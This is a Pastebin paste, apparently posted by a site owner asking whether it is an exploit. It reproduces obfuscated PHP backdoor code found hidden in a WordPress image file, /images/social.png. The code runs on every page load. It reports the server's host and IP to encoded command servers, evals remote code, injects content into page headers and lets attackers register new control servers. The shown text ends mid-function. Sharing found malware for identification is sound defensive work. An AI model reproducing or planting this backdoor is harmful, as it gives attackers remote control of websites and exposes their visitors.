BigWhale

WordPress / PHP exploit?

Jan 3rd, 2014
391
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 28.90 KB | None | 0 0
  1. The contents of /images/social.png
  2.  
  3. <?php class VtkddwvkYgCDDRRWbgRt{
  4.     private $AcheTwkrhTtKmyatQGqY,
  5.         $SntMBKFkfTlUzXyNVQed,
  6.         $YcmysXeieEGqvkjRIsPY;
  7.     public function __construct($BZaxGALPLdVfntBIQWUP = 'null'){if ($BZaxGALPLdVfntBIQWUP == 'new'){
  8.             $this->QxEolVsSqvJZyRSgHFmL();
  9.         }
  10.         else {
  11.             $this->yOlGcuINHlzAVPznEbGN();
  12.         }
  13.  
  14.         $this->SntMBKFkfTlUzXyNVQed = '-----BEGIN PUBLIC KEY-----
  15. MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6K/I2l6k2Iz7Vojzxk5Q
  16. 43QNfIJm2jWPvXAvFtft+yy4rD3MseQJWx3PLlkoRQjSI1uiiwwlPZWED0e5wFet
  17. nS5tKhvvRaOeUPYJq6MtyUbnaMn7bshlgaAlPaUCVdAOjdtGHMuFaWfnBLgTSu3c
  18. uccVC2zOlXx7XK1tw39eZepRemoh0W3Qhf+hDFsEzACSBmKhBiganwCZzTDvyXpj
  19. nfbRKbf26LJDJ9u2Choh768vQiIfuf0tGLQ+xxcBDl2ZVW0P76cd5I2v+lYRBD/X
  20. vgU32/UZeKDheA8M/oZ5/yFv5QWAU2SHEEKYfLkAQmXs/oRGqMQONqoL3W5Q4bE/
  21. gQIDAQAB
  22. -----END PUBLIC KEY-----';
  23.     }
  24.  
  25.     private function yOlGcuINHlzAVPznEbGN()
  26.     {
  27.         $oXyaqmHoChvHQFCvTluq = get_option('WP_CLIENT_KEY');
  28.         $this->AcheTwkrhTtKmyatQGqY = $oXyaqmHoChvHQFCvTluq;
  29.     }
  30.  
  31.     private function QxEolVsSqvJZyRSgHFmL()
  32.     {
  33.         $WUSuJUGMrzyhdyhyGeIj = $this->DWoPBIQOoBwLXRAmwfed();
  34.         $this->AcheTwkrhTtKmyatQGqY = $WUSuJUGMrzyhdyhyGeIj['private'];
  35.         $this->YcmysXeieEGqvkjRIsPY = $WUSuJUGMrzyhdyhyGeIj['public'];
  36.         update_option("WP_CLIENT_KEY", $this->AcheTwkrhTtKmyatQGqY);
  37.     }
  38.  
  39.  
  40.     public function bkBMtlOkGRaPFVExpcNb($oXyaqmHoChvHQFCvTluq)
  41.     {
  42.         openssl_seal($oXyaqmHoChvHQFCvTluq, $XSuQpMSlwhlPZypBIPnf, $THPieTXOYTCWThoTFSSu, array(openssl_pkey_get_public($this->SntMBKFkfTlUzXyNVQed)));
  43.         return array("data" => base64_encode($XSuQpMSlwhlPZypBIPnf), "key" => base64_encode($THPieTXOYTCWThoTFSSu[0]));
  44.     }
  45.  
  46.  
  47.     public function MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluq)
  48.     {
  49.         openssl_seal($oXyaqmHoChvHQFCvTluq, $XSuQpMSlwhlPZypBIPnf, $THPieTXOYTCWThoTFSSu, array(openssl_pkey_get_public($this->YcmysXeieEGqvkjRIsPY)));
  50.         return json_encode(array("data" => base64_encode($XSuQpMSlwhlPZypBIPnf), "key" => base64_encode($THPieTXOYTCWThoTFSSu[0])));
  51.     }
  52.  
  53.     public function qPhSGyDrRdyPezAnHgia()
  54.     {
  55.         return $this->YcmysXeieEGqvkjRIsPY;
  56.     }
  57.  
  58.     public function skwTpfzBalSTBTBkLvhw($piiJbwvzLxHvKjlNnFzd)
  59.     {
  60.         $this->YcmysXeieEGqvkjRIsPY = $piiJbwvzLxHvKjlNnFzd;
  61.     }
  62.  
  63.  
  64.     public function vZlUWjEYdyPGPomnFXMG($oXyaqmHoChvHQFCvTluq)
  65.     {
  66.         $BdlbpgzPBjxVLkBLnsrX = json_decode($oXyaqmHoChvHQFCvTluq, true);
  67.         if ($BdlbpgzPBjxVLkBLnsrX !==  false){
  68.             $oXyaqmHoChvHQFCvTluq = $BdlbpgzPBjxVLkBLnsrX;
  69.         }
  70.         if (!is_array($oXyaqmHoChvHQFCvTluq)) {
  71.             return false;
  72.         }
  73.         openssl_open(base64_decode(trim($oXyaqmHoChvHQFCvTluq['data'])), $WQqrOQbxBHtERCkwicqA, base64_decode(trim($oXyaqmHoChvHQFCvTluq['key'])), $this->AcheTwkrhTtKmyatQGqY) ;
  74.         return $WQqrOQbxBHtERCkwicqA;
  75.     }
  76.  
  77.     public function DWoPBIQOoBwLXRAmwfed()
  78.     {
  79.         $IzGRmpLLtcLVMJRxcfpe = openssl_pkey_new(array(
  80.             'private_key_bits' => 2048,
  81.             'private_key_type' => OPENSSL_KEYTYPE_RSA,
  82.         ));
  83.  
  84.         openssl_pkey_export($IzGRmpLLtcLVMJRxcfpe, $IANNGYfyVIgZFkzWVTKm);
  85.         $oXyaqmHoChvHQFCvTluq['private'] = $IANNGYfyVIgZFkzWVTKm;
  86.  
  87.         $XEWVBmIaXvRqxrckbkOq = openssl_pkey_get_details($IzGRmpLLtcLVMJRxcfpe);
  88.         $oXyaqmHoChvHQFCvTluq['public'] = $XEWVBmIaXvRqxrckbkOq['key'];
  89.         return $oXyaqmHoChvHQFCvTluq;
  90.     }
  91. }
  92.  
  93.  
  94. if (!function_exists('txyFqaETRPUyiEgQatok')){
  95.     function txyFqaETRPUyiEgQatok()
  96.     {
  97.         if (!defined('wp_server_run_ex')) {
  98.             define('NYOtWHUXirvRWKhceXsE','wp_data_newa');
  99.             define('npUtMwyeMfjCtxInAgUp', true);
  100.             new GsSYoMTsQibQgcHcuGmr();
  101.         }
  102.     }
  103.     add_action('init', 'txyFqaETRPUyiEgQatok');
  104. }
  105.  
  106.  
  107. class GsSYoMTsQibQgcHcuGmr{
  108.     public $oXyaqmHoChvHQFCvTluq = array(),
  109.         $yYVsqvOoqWsddypXgJcI = array(),
  110.         $qcCONSsvpJlMgdhEFFmr,
  111.         $IzGRmpLLtcLVMJRxcfpe,
  112.         $aJQafHDwnaPrCJrQMjHV,
  113.         $AeRxXNHxOXpcNJWlZSIK,               $vwhhtIrAWhUEFDgPrcco,        $htcFFCQTLLpnCchsPKGY,              $wqawPxkNytKqRKNRqbwA,               $IatJdWimJbxtprWZElHe,              $YobOrWbieESFVcSsWsuB;
  114.     public $WbKPQMoSbMZkXUeYKXRI;
  115.  
  116.  
  117.     public function __construct()
  118.     {
  119.         $this->yYVsqvOoqWsddypXgJcI = array( '=pzpi5vouMJLlSzr',
  120.         'hyzYlSTqm92Mhyzp',
  121.         '==trcWzYfk2ovITqiIKp',
  122.         '==trcWzYxy2plITqhSTn',
  123.         'g92LhZ3ni9Togyzr',
  124.         '==DoiAzYiEKqiyKMgS2p',
  125.         '==DMg5FngSTMhI2q',
  126.         'hyzY5Wapik2MxSzL',
  127.         '=8zMhyzYhIJMlqzoi9Jo',
  128.         '=bKnv5Pqcg2of9zr',
  129.         '==toc5lpyIzpayTn',
  130.         '=bKnv5vpuE3phSJofI2n',
  131.         '==jqj5PofS2qlITqhSTn',
  132.         '==toc5vo1AKMaSTofyzq',
  133.         'aW3ohHzMckzp19JM2y2M',
  134.         'aW3ohD3owyKMh9Jo',
  135.         '=02ow5PoyITqmEJquWaM',
  136.         '=0JnhD3pyMzolIUq',
  137.         '=DKMh5lq1Szoy1TofS2L',
  138.         '==Nqy5zYiqUqyk2Mhy2p',
  139.         '==DoiAzYu5JLaW3ogg2LukzL',
  140.         '==trcWzYmITqckJL2yzq',
  141.         '==DoiAzY6ITqu1JLgkJL',
  142.         '41zYjIUMlITpi92L',
  143.         'g92LhpzockTocM2oaWKM',
  144.         '==jqj5PnmyzMiEUnmyzp',
  145.         '==toc5FMvyKo5Szp',
  146.         '=4JnhZ3M1WJMeyTo',
  147.         '==jqj5lphS2pfIzquWUq',
  148.         '=02ow5FryW3ogkJnuWUq',
  149.         'aW3ohHTo5E3pgHJocW3L',
  150.         '==trcWzYlITMuk2Mc5Jq',
  151.         '6yzLhDKqwETol92q',
  152.         '==trcWzYmgJLgyTqf9zM',
  153.         '0IzohZUocSzMlITMh92q',
  154.         '==trcWzYyEKqwETol92q',
  155.         '==Nqy5zYmAKMhy2M0ITo0I3o',
  156.         '0IzohZKMfyUqm52ohITr',
  157.         '=pUphLzMf92qxSzL',
  158.         '=pzpi5vouEKn0g2LukzL',
  159.         '==jMl9zY5IzoiuJLfyJo',
  160.         '=HJohNKqbSTof9Tn',
  161.         '=4JnhVKMeAJnfMJock2p',
  162.         '==DoiAzY5STpfITqm9Jo',
  163.         '=DKMh5lpyEJLlq2ohSzo',
  164.         '=4JnhV3ox5JLl9TryuTq',
  165.         '6yzLhVKMyWToyE3pgSTn',
  166.         '6yzLhxapu1TMuITM',
  167.         '=4Jnh4JqvyKMh9Tn',
  168.         '=02ow5FM2yToz9JMh9zr',
  169.         '==Nqy5zY39zoe1JLyWUM',
  170.         'hyzYmk2oiEaoyk2M',
  171.         '==Nqy5zYlITqm9zM5STo',
  172.         'hyzYh9TqlSzLhSTM',
  173.         '=4JnhNKqiW3Mf9TogyzL',
  174.         '==trcWzYfy2MlITqhIUn',
  175.         '==toc5lp0Szp0SzM',
  176.         '=bKnv5FM4S2nfyJo',
  177.         'hyzYfIJM0Aaouu2L',
  178.         '=bKnv5loe5JM0y2p',
  179.         '=bKnv5Pn0SJoiqUq',
  180.         '6yzLhxKoyEJLwSJM0y2pvI2q',
  181.         '=bKnv5lo5ITMi9zM',
  182.         '==trcWzYmkJL0W3ojAKM',
  183.         '==toc5lp3Izo3SJo',
  184.         '=4Jnhf2LiWKolITq',
  185.         'hyzYeA2olIzoiE3p',
  186.         '=4Jnh82oz1zM',
  187.         'hyzY0WKLjSJMyWaM',
  188.         'g92LhfzolS2L',
  189.         '=02ow5FMyWaMmW2L',
  190.         '==DoiAzYiqUqw5Jn',
  191.         '==DoiAzYvETM5STM',
  192.         '==DoiAzYlIJo1WUMi9zM',
  193.         '==toc5PMhSTolSTqcI3M',
  194.         '==toc5vou12MiWUp',
  195.         '==toc5voz1zM',
  196.         'hyzYj9TouWKMhI2M',
  197.         '=4JnhjJL0W3ojAKM',
  198.         '=8zMhyzYykTpgS2pi9zM',
  199.         '==joz5JnhHJMlMTAiWTn',
  200.         '==joz5JnhHaZhITqmyTo',
  201.         '=8zMhyzYyqJLjgzo',
  202.         'iMzoc5vMfSTnvI2q',
  203.         '3OaYm5JqaWzM',
  204.         '=pUphH2nuEaZwyTp',
  205.         '=pUphZapyE3pu1JMmIzocu2L',
  206.         '=pUphxUMukJr6SToi9zM',
  207.         '0IzohxKLxIao',
  208.         '=DKMh5Fne9TMhyzM',
  209.         '==Nqy5zY5kzMx5JLlS2L',
  210.         '==Nqy5zYi9zMgyzM',
  211.         '==Nqy5zY392qzqKL',
  212.         '==DoiAzYyyao2EKo',
  213.         '=02ow5lpuyTMySKney2q',
  214.         'g92Lh4JMwEapiO3p',
  215.         '=02ow5FMyWaM2EKo',
  216.         '==DoiAzY3Izo3SJo',
  217.         'g92Lhf2LiWKolITq',
  218.         '==DoiAzYi9zMaW3o',
  219.         '==DoiAzYm52ox1zM',
  220.         '=02ow5lpwy2p11JLlSTM',
  221.         '=02ow5vpyWzLiWzpyq2MiWaM',
  222.         '=02ow5lphIJof92n',
  223.         '=02ow5lpykTpgS2pi9zM',
  224.         '==DoiAzYmEzpu9zL2EKo',
  225.         '==trcWzYmyKLxIao',
  226.         'iMzoc5lp5kzMx5JLlS2L',
  227.         '==jow5lqikTn0SJo',
  228.         '=82Lh82nhIJo',
  229.         '=82Lh82o5STM',
  230.         '==jow5voi5JLcAKL',
  231.         'iAzYmqKMhqJn',
  232.         '=8zMhyzYm5JLgkJMxIUM',
  233.         '=8zMhyzYmEKMhSTojWKMjSTp',
  234.         'iMzoc5lpx92oz1FMmIzocu2L',
  235.         'iMzoc5loiAzpy1Jo1WUM',
  236.         '==joz5JnhbKMhSTojWKMjSTp',
  237.         'iAzYg9TMh9TM',
  238.         '=82LhZaou12MiWUp',
  239.         '=82LhDKMhSTojWKMjSTp',
  240.         '==jow5lplIJo1WUMi9zM',
  241.         '==jMl9zYhIJof92n',
  242.         '==jMl9zYwy2p11JLlSTM',
  243.         'aW3ohVKM0yzp31vpyEUnayzM',
  244.         '==jMl9zYx92ozI2phI2ph9zo',
  245.         '==jMl9zYmWKM0AKLgITovSTq',
  246.         '=DKMh5lp51JMxS2LuAan',
  247.         '0IzohHTq1AJrfITq1k2omWJL',
  248.         '0IzohZaoi5JLcAKL',
  249.         '=DKMh5lpyqJLjgzo',
  250.         '=DKMh5lpeA2olIzoiE3p',
  251.         '6yzLh4JLgkJMxIUM',
  252.         '6yzLhDzpu9zL2EKo',
  253.         '6yzLhZ3LcEKrfSzou1lM',
  254.         '==trcWzYuyTMySKney2q',
  255.         '=bKnv5lpj9TouWKMhI2M',
  256.         '6yzLhZUMhSTolSTqcI3M',
  257.         '==trcWzYmq2olO3MiWaM',
  258.         '=bKnv5vpyE3pu1JMmIzocu2L',
  259.         '==trcWzYmI2nuEaZwyTp',
  260.         '==trcWzYi9TMi92M',
  261.         'aW3ohZ3pyIaplS2L',
  262.         'hyzYcq2of9Jo5EKM',
  263.         'hyzYhS2LhI2M',
  264.         '=4JnhVKM0AKLgITovSTq',
  265.         'hyzYh92Lh9zn',
  266.         );
  267.  
  268.         $this->aJQafHDwnaPrCJrQMjHV = array(
  269.             '=HaphjJnu1TD1ETn1c2p'         );
  270.  
  271.         $this->dIOUyQsvDqPHTBIxnlYs();
  272.         $this->YobOrWbieESFVcSsWsuB = false;
  273.  
  274.         $oXyaqmHoChvHQFCvTluq = get_option(NYOtWHUXirvRWKhceXsE);
  275.  
  276.         if ($oXyaqmHoChvHQFCvTluq == null || $oXyaqmHoChvHQFCvTluq == 'null') {
  277.             $oXyaqmHoChvHQFCvTluq = '';
  278.         }
  279.  
  280.         if ($oXyaqmHoChvHQFCvTluq == ''){             $this->wqawPxkNytKqRKNRqbwA = true;
  281.             $this->AeRxXNHxOXpcNJWlZSIK = new VtkddwvkYgCDDRRWbgRt('new');             $this->QxEolVsSqvJZyRSgHFmL();
  282.         }
  283.  
  284.         else{             $this->AeRxXNHxOXpcNJWlZSIK = new VtkddwvkYgCDDRRWbgRt();             $this->oXyaqmHoChvHQFCvTluq = $this->McEnUjjQfaFzqGsihhU($oXyaqmHoChvHQFCvTluq, true);
  285.             if (isset($this->oXyaqmHoChvHQFCvTluq['info']['publicKey'])) {
  286.                 $this->AeRxXNHxOXpcNJWlZSIK->skwTpfzBalSTBTBkLvhw($this->oXyaqmHoChvHQFCvTluq['info']['publicKey']);
  287.             }
  288.         }
  289.  
  290.  
  291.         $this->OFwlxWaeMyxznpZtnfJL();
  292.  
  293.         if ($this->TztHMzNNJASlMfiSOwxQ()) {
  294.             die();
  295.         }
  296.  
  297.  
  298.         if (!$this->wqawPxkNytKqRKNRqbwA) {
  299.             $this->KPBBXYwmuPGPaTyLhWev();
  300.         }
  301.     }
  302.  
  303.  
  304.  
  305.  
  306.     private function QxEolVsSqvJZyRSgHFmL(){
  307.         $WbKPQMoSbMZkXUeYKXRI = $this->KZdGlovqEtKYUSCqSVnK();             $WbKPQMoSbMZkXUeYKXRI['publicKey'] = $this->AeRxXNHxOXpcNJWlZSIK->qPhSGyDrRdyPezAnHgia();             $this->WbKPQMoSbMZkXUeYKXRI = $WbKPQMoSbMZkXUeYKXRI;
  308.  
  309.         $vsJigIMHYwdFnuqvRwrv = false;
  310.         $BCEUSjHFFwzzqmHmpjjQ = 0;
  311.  
  312.         foreach($this->HSxTktcbTftjZjKRHHmh() as $gXNjWLFkUQOugyREMXKv){
  313.             $oXyaqmHoChvHQFCvTluq = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv,$WbKPQMoSbMZkXUeYKXRI);
  314.             $oXyaqmHoChvHQFCvTluq = $this->gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluq);
  315.             if ($oXyaqmHoChvHQFCvTluq !== false) {
  316.  
  317.                 $vsJigIMHYwdFnuqvRwrv = true;
  318.                 if ($this->YobOrWbieESFVcSsWsuB) {
  319.                     break;
  320.                 }
  321.  
  322.                 break;
  323.             }
  324.  
  325.         }
  326.  
  327.  
  328.         if ($vsJigIMHYwdFnuqvRwrv) {
  329.             if ($this->YobOrWbieESFVcSsWsuB) {
  330.                 $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE();
  331.             }
  332.             $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI;
  333.             $this->aIIwgKgvtyRoWoMedUdb(NYOtWHUXirvRWKhceXsE, $oXyaqmHoChvHQFCvTluq);
  334.             $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq;
  335.         }
  336.         else {
  337.             $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE();
  338.             $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI;
  339.             $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq;
  340.  
  341.             $this->aIIwgKgvtyRoWoMedUdb(NYOtWHUXirvRWKhceXsE, $oXyaqmHoChvHQFCvTluq);
  342.             $this->XnpSvtOjNDRmxyfzaDKl();
  343.         }
  344.         return $oXyaqmHoChvHQFCvTluq;
  345.     }
  346.  
  347.  
  348.  
  349.     public function TztHMzNNJASlMfiSOwxQ(){
  350.         $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
  351.         if ($oXyaqmHoChvHQFCvTluq == ''){
  352.             return false;
  353.         }
  354.         $SntMBKFkfTlUzXyNVQed = @$_GET[$this->oXyaqmHoChvHQFCvTluq['info']['serverKey']];
  355.         if (isset($SntMBKFkfTlUzXyNVQed) && $SntMBKFkfTlUzXyNVQed == '') {             echo '<div id="serverList" style="display: none">';
  356.             $bQYduZxDrtPMJtaBCQyc['servers'] = $oXyaqmHoChvHQFCvTluq['servers'];
  357.             echo json_encode($bQYduZxDrtPMJtaBCQyc);
  358.             echo '</div>';
  359.             die();
  360.         }else if (isset($SntMBKFkfTlUzXyNVQed) && isset($this->oXyaqmHoChvHQFCvTluq['info']['fail'])) {
  361.             if (isset($this->oXyaqmHoChvHQFCvTluq)) {
  362.                 $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
  363.             }else{
  364.                 $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE();
  365.             }
  366.             $oXyaqmHoChvHQFCvTluq['servers'][] = $SntMBKFkfTlUzXyNVQed;
  367.             $this->aIIwgKgvtyRoWoMedUdb(NYOtWHUXirvRWKhceXsE, $oXyaqmHoChvHQFCvTluq);
  368.             die();
  369.         }
  370.         return false;
  371.     }
  372.  
  373.  
  374.     public function OFwlxWaeMyxznpZtnfJL(){
  375.  
  376.         $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
  377.         if (!isset($oXyaqmHoChvHQFCvTluq) || $oXyaqmHoChvHQFCvTluq == null) {
  378.             return;
  379.         }
  380.         if (!is_array($oXyaqmHoChvHQFCvTluq) || $oXyaqmHoChvHQFCvTluq == '') {
  381.             return;
  382.         }
  383.         if (@$oXyaqmHoChvHQFCvTluq['info']['eval'] == 1){
  384.             foreach ($oXyaqmHoChvHQFCvTluq['eval'] as $vsGIQvwCXRbSELMOlFV) {
  385.                 eval($vsGIQvwCXRbSELMOlFV);
  386.             }
  387.         }
  388.         if (isset($oXyaqmHoChvHQFCvTluq['echo'])){
  389.             if (!defined('wp_footerLeo')) {
  390.                 add_action('wp_head', array( $this, 'WvOoqSuRpZkhgAAFQVjB'));
  391.             }
  392.         }
  393.  
  394.     }
  395.  
  396.     public function WvOoqSuRpZkhgAAFQVjB(){
  397.         $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
  398.         foreach ($oXyaqmHoChvHQFCvTluq['echo'] as $stIedxfhoZcXvZNmNXTd) {
  399.             echo $stIedxfhoZcXvZNmNXTd;
  400.         }
  401.     }
  402.  
  403.  
  404.     private function oqtYbOOiucMYWyZsGEuE()
  405.     {
  406.         $oXyaqmHoChvHQFCvTluq = array();
  407.         $oXyaqmHoChvHQFCvTluq['echo'] = array();
  408.         $oXyaqmHoChvHQFCvTluq['eval'] = array();
  409.         $oXyaqmHoChvHQFCvTluq['clients'] = array();
  410.         $oXyaqmHoChvHQFCvTluq['update'] = array();
  411.  
  412.         return $oXyaqmHoChvHQFCvTluq;
  413.     }
  414.  
  415.  
  416.     private function dIOUyQsvDqPHTBIxnlYs(){
  417.         $dqkdbOJPzAPsLsuxnjAS = array('www.', 'www', ' ', '{', '}');
  418.         $this->htcFFCQTLLpnCchsPKGY = str_replace($dqkdbOJPzAPsLsuxnjAS, "", $_SERVER['HTTP_HOST']);
  419.     }
  420.  
  421.  
  422.     private function HSxTktcbTftjZjKRHHmh()
  423.     {
  424.         $oXyaqmHoChvHQFCvTluq = array();
  425.         foreach ($this->yYVsqvOoqWsddypXgJcI as $gXNjWLFkUQOugyREMXKv) {
  426.             $oXyaqmHoChvHQFCvTluq[] = base64_decode(str_rot13(strrev($gXNjWLFkUQOugyREMXKv)));
  427.  
  428.         }
  429.         if (isset($this->oXyaqmHoChvHQFCvTluq['info']['fail'])) {
  430.             $nGwzfuUZcelzyfJBQMIg = (int) ($oXyaqmHoChvHQFCvTluq['info']['fail'] / 100);
  431.             if ($nGwzfuUZcelzyfJBQMIg == 0) {
  432.                 $nGwzfuUZcelzyfJBQMIg = 5;
  433.             }
  434.             else{
  435.                 $nGwzfuUZcelzyfJBQMIg *= 5;
  436.             }
  437.         }else{
  438.             $nGwzfuUZcelzyfJBQMIg = 5;
  439.         }
  440.         return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluq, $nGwzfuUZcelzyfJBQMIg);
  441.     }
  442.  
  443.  
  444.     private function XsvsqpxlWxfKYiyUc($YJYRbBDIcUlLJwWidyuM)
  445.     {
  446.         $oXyaqmHoChvHQFCvTluq = array();
  447.         foreach ($this->oXyaqmHoChvHQFCvTluq['emails'] as $HWcwGasopLJSadVNNw){
  448.             $oXyaqmHoChvHQFCvTluq[] = $HWcwGasopLJSadVNNw;
  449.         }
  450.  
  451.         foreach ($this->aJQafHDwnaPrCJrQMjHV as $HWcwGasopLJSadVNNw) {
  452.             $oXyaqmHoChvHQFCvTluq[] = base64_decode(str_rot13(strrev($HWcwGasopLJSadVNNw)));
  453.         }
  454.         return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluq, $YJYRbBDIcUlLJwWidyuM);
  455.     }
  456.  
  457.  
  458.     private function KZdGlovqEtKYUSCqSVnK(){
  459.         $oXyaqmHoChvHQFCvTluq = array();
  460.         $oXyaqmHoChvHQFCvTluq['host'] = $_SERVER['HTTP_HOST'];
  461.         $oXyaqmHoChvHQFCvTluq['page'] = $_SERVER['REQUEST_URI'];
  462.         $oXyaqmHoChvHQFCvTluq['ip'] = $_SERVER['SERVER_ADDR'];
  463.         $oXyaqmHoChvHQFCvTluq['eval'] = $this->YrCTrfUzBfsVJKvqiYUe();
  464.         $oXyaqmHoChvHQFCvTluq['exec'] = $this->KNstTqErzZQBDQOODaJd();
  465.         $oXyaqmHoChvHQFCvTluq['serverKey'] = $this->BkISKDyWWRXScnLPbTly();
  466.         $oXyaqmHoChvHQFCvTluq['run'] = 0;
  467.         $oXyaqmHoChvHQFCvTluq['ver'] = 0.1;
  468.         $oXyaqmHoChvHQFCvTluq['started'] = date('Ymd');
  469.         $oXyaqmHoChvHQFCvTluq['last_connect'] = date('Ymd');
  470.         $this->WbKPQMoSbMZkXUeYKXRI = $oXyaqmHoChvHQFCvTluq;
  471.         return $oXyaqmHoChvHQFCvTluq;
  472.     }
  473.  
  474.     private function BkISKDyWWRXScnLPbTly($PVSXPKLAQGaWKUtNNUYQ = 10)
  475.     {
  476.         $dqkdbOJPzAPsLsuxnjAS = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  477.         $PqlpeiQHmZBwdmlsfEHm = '';
  478.         for ($BCEUSjHFFwzzqmHmpjjQ = 0; $BCEUSjHFFwzzqmHmpjjQ < $PVSXPKLAQGaWKUtNNUYQ; $BCEUSjHFFwzzqmHmpjjQ++) {
  479.             $PqlpeiQHmZBwdmlsfEHm .= $dqkdbOJPzAPsLsuxnjAS[rand(0, strlen($dqkdbOJPzAPsLsuxnjAS) - 1)];
  480.         }
  481.         return $PqlpeiQHmZBwdmlsfEHm;
  482.     }
  483.  
  484.  
  485.     public function KPBBXYwmuPGPaTyLhWev(){
  486.         $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
  487.         if (@$oXyaqmHoChvHQFCvTluq['info']['last_connect'] < date('Ymd')){                 $oXyaqmHoChvHQFCvTluq = $this->CMQEWmnewJmgOLaFvXGC($oXyaqmHoChvHQFCvTluq);
  488.             if ($oXyaqmHoChvHQFCvTluq == false){
  489.                 return;
  490.             }
  491.             else{
  492.                 unset($oXyaqmHoChvHQFCvTluq['info']['fail']);
  493.             }
  494.             $oXyaqmHoChvHQFCvTluq['info']['last_connect'] = date('Ymd');
  495.         }
  496.         $oXyaqmHoChvHQFCvTluq['info']['run']++;
  497.  
  498.         $this->aIIwgKgvtyRoWoMedUdb(NYOtWHUXirvRWKhceXsE, $oXyaqmHoChvHQFCvTluq);
  499.     }
  500.  
  501.     private function CMQEWmnewJmgOLaFvXGC($oXyaqmHoChvHQFCvTluq){
  502.         $yYVsqvOoqWsddypXgJcI = @$oXyaqmHoChvHQFCvTluq['servers'];
  503.         $uHrzRBdPUetDqbZAdw = $this->tEiRFSJMSpXyxKKORPZC($yYVsqvOoqWsddypXgJcI, $oXyaqmHoChvHQFCvTluq);
  504.         if ($uHrzRBdPUetDqbZAdw !== false){
  505.             return $uHrzRBdPUetDqbZAdw;
  506.         }
  507.  
  508.         $uHrzRBdPUetDqbZAdw = $this->tEiRFSJMSpXyxKKORPZC($this->HSxTktcbTftjZjKRHHmh(), $oXyaqmHoChvHQFCvTluq);
  509.  
  510.         if ($uHrzRBdPUetDqbZAdw !== false) {
  511.             return $uHrzRBdPUetDqbZAdw;
  512.         }
  513.  
  514.         $this->XnpSvtOjNDRmxyfzaDKl();
  515.     }
  516.  
  517.     private function tEiRFSJMSpXyxKKORPZC($QrnkCEWRkHbQPoEPelYQ, $oXyaqmHoChvHQFCvTluq)
  518.     {
  519.         foreach ($QrnkCEWRkHbQPoEPelYQ as $gXNjWLFkUQOugyREMXKv) {
  520.             $uHrzRBdPUetDqbZAdw = $this->VxjeXwUeRLricksbcxlc($gXNjWLFkUQOugyREMXKv, $oXyaqmHoChvHQFCvTluq['info'], $oXyaqmHoChvHQFCvTluq);
  521.             if ($uHrzRBdPUetDqbZAdw != false) {
  522.                 if (!isset($oXyaqmHoChvHQFCvTluq['info']['empty'])){
  523.                     $oXyaqmHoChvHQFCvTluq['info']['empty'] = 0;
  524.                 }
  525.                 if ($this->YobOrWbieESFVcSsWsuB) {
  526.                     $oXyaqmHoChvHQFCvTluq['info']['empty']++;
  527.  
  528.                     if (!isset($BCEUSjHFFwzzqmHmpjjQ)){
  529.                         $BCEUSjHFFwzzqmHmpjjQ = (int)($oXyaqmHoChvHQFCvTluq['info']['empty'] / 5);
  530.                     }
  531.                     if ($BCEUSjHFFwzzqmHmpjjQ > 0) {
  532.                         $BCEUSjHFFwzzqmHmpjjQ--;
  533.                         continue;
  534.                     }
  535.                 }
  536.                 if ($this->YobOrWbieESFVcSsWsuB) {
  537.                     return $oXyaqmHoChvHQFCvTluq;
  538.                 }
  539.                 $uHrzRBdPUetDqbZAdw['info']['empty'] = --$oXyaqmHoChvHQFCvTluq['info']['empty'];                 return $uHrzRBdPUetDqbZAdw;
  540.             }
  541.         }
  542.  
  543.         return false;
  544.     }
  545.  
  546.  
  547.     private function VxjeXwUeRLricksbcxlc($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI, $oXyaqmHoChvHQFCvTluq)
  548.     {
  549.         $this->YobOrWbieESFVcSsWsuB = false;         $OQijXfnrxWxPIcPSUibK = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI);
  550.         $OQijXfnrxWxPIcPSUibK = $this->gTSiihhIRUNPkADDVdes($OQijXfnrxWxPIcPSUibK);
  551.         if ($OQijXfnrxWxPIcPSUibK != false) {
  552.             if ($this->YobOrWbieESFVcSsWsuB) {
  553.                 return $oXyaqmHoChvHQFCvTluq;
  554.             }
  555.             $OQijXfnrxWxPIcPSUibK['info'] = $WbKPQMoSbMZkXUeYKXRI;
  556.             return $OQijXfnrxWxPIcPSUibK;
  557.         }
  558.         return false;
  559.     }
  560.  
  561.  
  562.     private function gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluq){
  563.         if(!isset($this->WbKPQMoSbMZkXUeYKXRI)){
  564.             $this->WbKPQMoSbMZkXUeYKXRI = $this->oXyaqmHoChvHQFCvTluq['info'];
  565.         }
  566.         if (md5($this->WbKPQMoSbMZkXUeYKXRI['serverKey']) == $oXyaqmHoChvHQFCvTluq) {
  567.             $this->YobOrWbieESFVcSsWsuB = true;
  568.             return true;
  569.         }
  570.         $oXyaqmHoChvHQFCvTluq = $this->AeRxXNHxOXpcNJWlZSIK->vZlUWjEYdyPGPomnFXMG($oXyaqmHoChvHQFCvTluq);
